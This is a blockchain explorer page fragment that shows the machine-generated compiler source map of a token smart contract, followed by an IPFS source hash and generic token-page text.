5:::1;::::0;13939:28:::1;::::0;13949:18;;13939:28:::1;:::i;:::-;:36;;;;:::i;:::-;13925:11;:50:::0;-1:-1:-1;;;13699:284:0:o;13399:292::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;13541:14:::1;:32:::0;;-1:-1:-1;;;;;13541:32:0;;::::1;-1:-1:-1::0;;;;;;13541:32:0;;::::1;;::::0;;;13584:20:::1;:44:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;13639:20:::1;:44:::0;;;;;::::1;::::0;::::1;;::::0;;13399:292::o;14446:174::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;14534:2:::1;14524:6;:12;;14516:46;;;::::0;-1:-1:-1;;;14516:46:0;;8649:2:1;14516:46:0::1;::::0;::::1;8631:21:1::0;8688:2;8668:18;;;8661:30;-1:-1:-1;;;8707:18:1;;;8700:51;8768:18;;14516:46:0::1;8447:345:1::0;14516:46:0::1;14607:5;14598:6;14588:7;;:16;;;;:::i;:::-;:24;;;;:::i;:::-;14573:12;:39:::0;-1:-1:-1;14446:174:0:o;2088:242::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2177:22:0;::::1;2169:73;;;::::0;-1:-1:-1;;;2169:73:0;;8999:2:1;2169:73:0::1;::::0;::::1;8981:21:1::0;9038:2;9018:18;;;9011:30;9077:34;9057:18;;;9050:62;-1:-1:-1;;;9128:18:1;;;9121:36;9174:19;;2169:73:0::1;8797:402:1::0;2169:73:0::1;2279:5;::::0;;2258:37:::1;::::0;-1:-1:-1;;;;;2258:37:0;;::::1;::::0;2279:5;::::1;::::0;2258:37:::1;::::0;::::1;2306:5;:16:::0;;-1:-1:-1;;;;;;2306:16:0::1;-1:-1:-1::0;;;;;2306:16:0;;;::::1;::::0;;;::::1;::::0;;2088:242::o;14124:129::-;1736:5;;-1:-1:-1;;;;;1736:5:0;1235:10;1736:21;1728:66;;;;-1:-1:-1;;;1728:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14212:24:0;;;::::1;;::::0;;;:15:::1;:24;::::0;;;;:33;;-1:-1:-1;;14212:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14124:129::o;8329:1356::-;8441:6;;8421:4;;8441:6;;;:21;;-1:-1:-1;8451:11:0;;8441:21;8438:78;;;8472:41;8487:6;8495:9;8506:6;8472:14;:41::i;:::-;8465:48;;;;8438:78;-1:-1:-1;;;;;8532:19:0;;;;;;:11;:19;;;;;;;;8531:20;:47;;;;-1:-1:-1;;;;;;8556:22:0;;;;;;:11;:22;;;;;;;;8555:23;8531:47;:66;;;;-1:-1:-1;8583:14:0;;;;8582:15;8531:66;:93;;;;-1:-1:-1;8611:13:0;;-1:-1:-1;;;;;8601:23:0;;;8611:13;;8601:23;8531:93;8528:156;;;-1:-1:-1;;;;;8641:24:0;;;;;;:13;:24;;;;;:31;;-1:-1:-1;;8641:31:0;8668:4;8641:31;;;8528:156;-1:-1:-1;;;;;8705:21:0;;;;;;:13;:21;;;;;;;;8704:22;8696:49;;;;-1:-1:-1;;;8696:49:0;;9406:2:1;8696:49:0;;;9388:21:1;9445:2;9425:18;;;9418:30;-1:-1:-1;;;9464:18:1;;;9457:44;9518:18;;8696:49:0;9204:338:1;8696:49:0;8759:15;8767:6;8759:7;:15::i;:::-;8809:5;;-1:-1:-1;;;;;8799:15:0;;;8809:5;;8799:15;;;;:45;;-1:-1:-1;;;;;;8818:26:0;;8839:4;8818:26;;8799:45;:75;;;;-1:-1:-1;8869:4:0;;-1:-1:-1;;;;;8848:26:0;;;8869:4;;8848:26;;8799:75;:105;;;;-1:-1:-1;8891:13:0;;-1:-1:-1;;;;;8878:26:0;;;8891:13;;8878:26;;8799:105;8795:339;;;-1:-1:-1;;;;;7140:18:0;;8921;7140;;;:9;:18;;;;;;9010:14;;8986:19;8999:6;7140:18;8986:19;:::i;:::-;8985:39;;:69;;;-1:-1:-1;;;;;;9028:26:0;;;;;;:15;:26;;;;;;;;8985:69;8977:145;;;;-1:-1:-1;;;8977:145:0;;9749:2:1;8977:145:0;;;9731:21:1;9788:2;9768:18;;;9761:30;9827:34;9807:18;;;9800:62;9898:33;9878:18;;;9871:61;9949:19;;8977:145:0;9547:427:1;8977:145:0;8906:228;8795:339;9200:13;;-1:-1:-1;;;;;9200:13:0;;;9190:23;;;;9187:137;;9247:12;;9237:6;:22;;:52;;;-1:-1:-1;;;;;;9263:26:0;;;;;;:15;:26;;;;;;;;9237:52;9229:83;;;;-1:-1:-1;;;9229:83:0;;10181:2:1;9229:83:0;;;10163:21:1;10220:2;10200:18;;;10193:30;-1:-1:-1;;;10239:18:1;;;10232:48;10297:18;;9229:83:0;9979:342:1;9229:83:0;9339:22;9354:6;9339:14;:22::i;:::-;9336:41;;;9364:10;:8;:10::i;:::-;-1:-1:-1;;;;;9409:17:0;;;;;;:9;:17;;;;;;:26;;9429:6;;9409:26;:::i;:::-;-1:-1:-1;;;;;9389:17:0;;;;;;:9;:17;;;;;;;;:46;;;;10786:11;:19;;;;;;;;10785:20;9473:48;;9515:6;9473:48;;;9497:15;9505:6;9497:7;:15::i;:::-;-1:-1:-1;;;;;9555:20:0;;;;;;:9;:20;;;;;;9448:73;;-1:-1:-1;9555:37:0;;9448:73;;9555:37;:::i;:::-;-1:-1:-1;;;;;9532:20:0;;;;;;;:9;:20;;;;;;;:60;;;;9610:43;;;;;;;;;;9638:14;160:25:1;;148:2;133:18;;14:177;9610:43:0;;;;;;;;-1:-1:-1;9673:4:0;;8329:1356;-1:-1:-1;;;;8329:1356:0:o;10011:300::-;-1:-1:-1;;;;;10141:17:0;;10104:4;10141:17;;;:9;:17;;;;;;:26;;10161:6;;10141:26;:::i;:::-;-1:-1:-1;;;;;10121:17:0;;;;;;;:9;:17;;;;;;:46;;;;10201:20;;;;;;;:29;;10224:6;;10201:29;:::i;:::-;-1:-1:-1;;;;;10178:20:0;;;;;;;:9;:20;;;;;;;:52;;;;10246:35;;;;;;;;;;10274:6;160:25:1;;148:2;133:18;;14:177;10246:35:0;;;;;;;;-1:-1:-1;10299:4:0;10011:300;;;;;:::o;9823:176::-;9889:13;;-1:-1:-1;;;;;9889:13:0;;;9879:23;;;;9876:116;;9919:9;10367;;10358:6;:18;10402:15;;10387:12;:30;10443:15;;10428:12;:30;10480:11;;10469:8;:22;10319:180;9919:9;9823:176;:::o;9876:116::-;9970:10;10555;;10546:6;:19;10591:16;;10576:12;:31;10633:16;;10618:12;:31;10671:12;;10660:8;:23;10507:184;11069:216;11132:4;-1:-1:-1;;;;;11156:23:0;;11174:4;11156:23;:43;;;;-1:-1:-1;11193:6:0;;;;11192:7;11156:43;:67;;;;-1:-1:-1;11212:11:0;;-1:-1:-1;;;11212:11:0;;;;11156:67;:121;;;;-1:-1:-1;11264:13:0;;11254:4;11236:24;;;;:9;:24;;;;;;:41;;11149:128;11069:216;-1:-1:-1;;11069:216:0:o;11293:1358::-;5988:6;:13;;-1:-1:-1;;5988:13:0;5997:4;5988:13;;;11401:11:::1;::::0;;11392:4:::1;-1:-1:-1::0;7140:18:0;;;:9;:18;;;;;;;11374:38:::1;;;;:::i;:::-;11449:16;::::0;;11463:1:::1;11449:16:::0;;;;;::::1;::::0;;11352:60;;-1:-1:-1;11425:21:0::1;::::0;11449:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11449:16:0::1;11425:40;;11494:4;11476;11481:1;11476:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11476:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11520:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11520:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11476:7;;11520:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11510:4;11515:1;11510:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11510:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11613:15:::1;::::0;:196:::1;::::0;-1:-1:-1;;;11613:196:0;;11579:21:::1;::::0;11613:15;;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11694:11;;11555:21:::1;::::0;11736:4;;11763::::1;::::0;11783:15:::1;::::0;11613:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11822:17;11867:13;11842:21;:39;;;;:::i;:::-;11822:59;;11902:20;11949:8;;11938:6;;11925:9;:20;;;;:::i;:::-;:33;;;;:::i;:::-;11902:56;;11969:26;12028:8;;12011:12;;11998:9;:26;;;;:::i;:::-;:39;;;;:::i;:::-;11969:68;;12048:26;12107:8;;12090:12;;12077:9;:26;;;;:::i;:::-;:39;;;;:::i;:::-;12157:14;::::0;12149:65:::1;::::0;12048:68;;-1:-1:-1;12130:14:0::1;::::0;-1:-1:-1;;;;;12157:14:0;;::::1;::::0;12204:5:::1;::::0;12185:12;;12130:14;12149:65;12130:14;12149:65;12185:12;12157:14;12204:5;12149:65:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12129:85;;;12233:9;12225:52;;;;-1:-1:-1::0;;;12225:52:0::1;;;;;;;:::i;:::-;12322:20;::::0;12314:77:::1;::::0;12289:20:::1;::::0;-1:-1:-1;;;;;12322:20:0::1;::::0;12381:5:::1;::::0;12356:18;;12289:20;12314:77;12289:20;12314:77;12356:18;12322:20;12381:5;12314:77:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12288:103;;;12410:15;12402:58;;;;-1:-1:-1::0;;;12402:58:0::1;;;;;;;:::i;:::-;12505:20;::::0;12497:77:::1;::::0;12472:20:::1;::::0;-1:-1:-1;;;;;12505:20:0::1;::::0;12564:5:::1;::::0;12539:18;;12472:20;12497:77;12472:20;12497:77;12539:18;12505:20;12564:5;12497:77:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12471:103;;;12593:15;12585:58;;;;-1:-1:-1::0;;;12585:58:0::1;;;;;;;:::i;:::-;-1:-1:-1::0;;6006:6:0;:14;;-1:-1:-1;;6006:14:0;;;-1:-1:-1;;;;;;;;11293:1358:0:o;10821:238::-;10877:7;10905:17;10957:8;;10942:12;;:23;;;;:::i;:::-;10925:12;:41;;:88;;11005:8;;10990:12;10999:3;10990:6;:12;:::i;:::-;:23;;;;:::i;:::-;10925:88;;;10970:12;10979:3;10970:6;:12;:::i;:::-;:17;;10985:2;10970:17;:::i;:::-;10905:108;-1:-1:-1;11033:18:0;10905:108;11033:6;:18;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:316::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;-1:-1:-1;;1582:23:1;;;1652:2;1637:18;;1624:32;;-1:-1:-1;1703:2:1;1688:18;;;1675:32;;1397:316;-1:-1:-1;1397:316:1:o;1718:456::-;1795:6;1803;1811;1864:2;1852:9;1843:7;1839:23;1835:32;1832:52;;;1880:1;1877;1870:12;1832:52;1919:9;1906:23;1938:31;1963:5;1938:31;:::i;:::-;1988:5;-1:-1:-1;2045:2:1;2030:18;;2017:32;2058:33;2017:32;2058:33;:::i;:::-;1718:456;;2110:7;;-1:-1:-1;;;2164:2:1;2149:18;;;;2136:32;;1718:456::o;2179:247::-;2238:6;2291:2;2279:9;2270:7;2266:23;2262:32;2259:52;;;2307:1;2304;2297:12;2259:52;2346:9;2333:23;2365:31;2390:5;2365:31;:::i;2828:118::-;2914:5;2907:13;2900:21;2893:5;2890:32;2880:60;;2936:1;2933;2926:12;2951:382;3016:6;3024;3077:2;3065:9;3056:7;3052:23;3048:32;3045:52;;;3093:1;3090;3083:12;3045:52;3132:9;3119:23;3151:31;3176:5;3151:31;:::i;:::-;3201:5;-1:-1:-1;3258:2:1;3243:18;;3230:32;3271:30;3230:32;3271:30;:::i;:::-;3320:7;3310:17;;;2951:382;;;;;:::o;3564:180::-;3623:6;3676:2;3664:9;3655:7;3651:23;3647:32;3644:52;;;3692:1;3689;3682:12;3644:52;-1:-1:-1;3715:23:1;;3564:180;-1:-1:-1;3564:180:1:o;3749:309::-;3814:6;3822;3875:2;3863:9;3854:7;3850:23;3846:32;3843:52;;;3891:1;3888;3881:12;3843:52;3930:9;3917:23;3949:28;3971:5;3949:28;:::i;4063:377::-;4137:6;4145;4153;4206:2;4194:9;4185:7;4181:23;4177:32;4174:52;;;4222:1;4219;4212:12;4174:52;4261:9;4248:23;4280:28;4302:5;4280:28;:::i;:::-;4327:5;4379:2;4364:18;;4351:32;;-1:-1:-1;4430:2:1;4415:18;;;4402:32;;4063:377;-1:-1:-1;;;4063:377:1:o;4445:529::-;4522:6;4530;4538;4591:2;4579:9;4570:7;4566:23;4562:32;4559:52;;;4607:1;4604;4597:12;4559:52;4646:9;4633:23;4665:31;4690:5;4665:31;:::i;:::-;4715:5;-1:-1:-1;4772:2:1;4757:18;;4744:32;4785:33;4744:32;4785:33;:::i;:::-;4837:7;-1:-1:-1;4896:2:1;4881:18;;4868:32;4909:33;4868:32;4909:33;:::i;:::-;4961:7;4951:17;;;4445:529;;;;;:::o;4979:388::-;5047:6;5055;5108:2;5096:9;5087:7;5083:23;5079:32;5076:52;;;5124:1;5121;5114:12;5076:52;5163:9;5150:23;5182:31;5207:5;5182:31;:::i;:::-;5232:5;-1:-1:-1;5289:2:1;5274:18;;5261:32;5302:33;5261:32;5302:33;:::i;5372:356::-;5574:2;5556:21;;;5593:18;;;5586:30;5652:34;5647:2;5632:18;;5625:62;5719:2;5704:18;;5372:356::o;5733:127::-;5794:10;5789:3;5785:20;5782:1;5775:31;5825:4;5822:1;5815:15;5849:4;5846:1;5839:15;5865:125;5930:9;;;5951:10;;;5948:36;;;5964:18;;:::i;6694:128::-;6761:9;;;6782:11;;;6779:37;;;6796:18;;:::i;7179:168::-;7252:9;;;7283;;7300:15;;;7294:22;;7280:37;7270:71;;7321:18;;:::i;7352:217::-;7392:1;7418;7408:132;;7462:10;7457:3;7453:20;7450:1;7443:31;7497:4;7494:1;7487:15;7525:4;7522:1;7515:15;7408:132;-1:-1:-1;7554:9:1;;7352:217::o;8197:245::-;8264:6;8317:2;8305:9;8296:7;8292:23;8288:32;8285:52;;;8333:1;8330;8323:12;8285:52;8365:9;8359:16;8384:28;8406:5;8384:28;:::i;10458:127::-;10519:10;10514:3;10510:20;10507:1;10500:31;10550:4;10547:1;10540:15;10574:4;10571:1;10564:15;10590:251;10660:6;10713:2;10701:9;10692:7;10688:23;10684:32;10681:52;;;10729:1;10726;10719:12;10681:52;10761:9;10755:16;10780:31;10805:5;10780:31;:::i;10846:980::-;11108:4;11156:3;11145:9;11141:19;11187:6;11176:9;11169:25;11213:2;11251:6;11246:2;11235:9;11231:18;11224:34;11294:3;11289:2;11278:9;11274:18;11267:31;11318:6;11353;11347:13;11384:6;11376;11369:22;11422:3;11411:9;11407:19;11400:26;;11461:2;11453:6;11449:15;11435:29;;11482:1;11492:195;11506:6;11503:1;11500:13;11492:195;;;11571:13;;-1:-1:-1;;;;;11567:39:1;11555:52;;11662:15;;;;11627:12;;;;11603:1;11521:9;11492:195;;;-1:-1:-1;;;;;;;11743:32:1;;;;11738:2;11723:18;;11716:60;-1:-1:-1;;;11807:3:1;11792:19;11785:35;11704:3;10846:980;-1:-1:-1;;;10846:980:1:o;12041:354::-;12243:2;12225:21;;;12282:2;12262:18;;;12255:30;12321:32;12316:2;12301:18;;12294:60;12386:2;12371:18;;12041:354::o
Swarm Source
ipfs://53d41bc50a9a5eff2a1adc2f592349f179e90c4ac5e9a45298f1ca8fd8c7de40
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)